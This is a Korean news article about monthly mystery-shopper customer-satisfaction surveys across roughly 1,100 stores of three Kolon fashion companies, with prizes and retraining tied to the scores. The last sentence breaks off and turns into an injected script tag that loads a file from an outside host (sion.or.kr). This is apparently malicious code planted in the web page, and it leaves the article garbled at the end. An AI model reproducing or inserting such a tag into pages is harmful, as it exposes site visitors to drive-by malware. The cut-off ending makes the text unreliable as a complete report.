FnC코오롱과 코오롱패션, 캠브리지㈜(대표이사: 제환석)는 자사 1,100여 매장에 대한 고객만족도 조사를 매월 실시하고 있다. 코오롱패션 3사는 현재 진행되고 있는 월별 조사내용을 취합해 분기 및 연간 우수매장을 선정해 포상할 방침이다.

코오롱패션 3사의 고객 만족도 조사는 서비스 교육부서인 ASA(Ace Service Academy of Kolon)팀 주관으로 진행되고 있다. 분기별 서비스 우수매장에 대해서는 50만원의 포상금과 상장을 수여하고 있다.  연간 CS 우수매장에 선정된 2개 매장은 4박 5일의 해외연수 특전도 제공된다.

ASA팀 이진주 팀장은 “고객 접점인 매장의 서비스 역량 제고 및 현장 영업력을 강화하기 위해 현장 모니터링 제도를 진행하고 있다”며 “현장심 경영의 일환으로 진행되는 이번 고객만족도 조사는 주부 모니터 100여명이 전국의 1100여 개 매장을 직접 방문해 조사하고 있다”고 설명했다.

코오롱의 고객만족도는 ‘대기자세’ ‘유통가족의 용모 및 복장’ ‘고객맞이 인사’ ‘고객응대 언어’ ‘상품정보 제공능력’ ‘태도’ ‘제품진열 상태’ ‘매장 청결 상태’ 등 27개 항목이 평가된다.  분기별 평균 75점 미만인 매장의 점주와 매니저에 대해서는 별도의 교육을 통해  서비스 마인드 향상 및 영업력을 강화시킬 계획이다.

한편 코오롱 ASA팀은 매장의 고객만족 수준을 경쟁사?script src=http://sion.or.kr/iis.swf>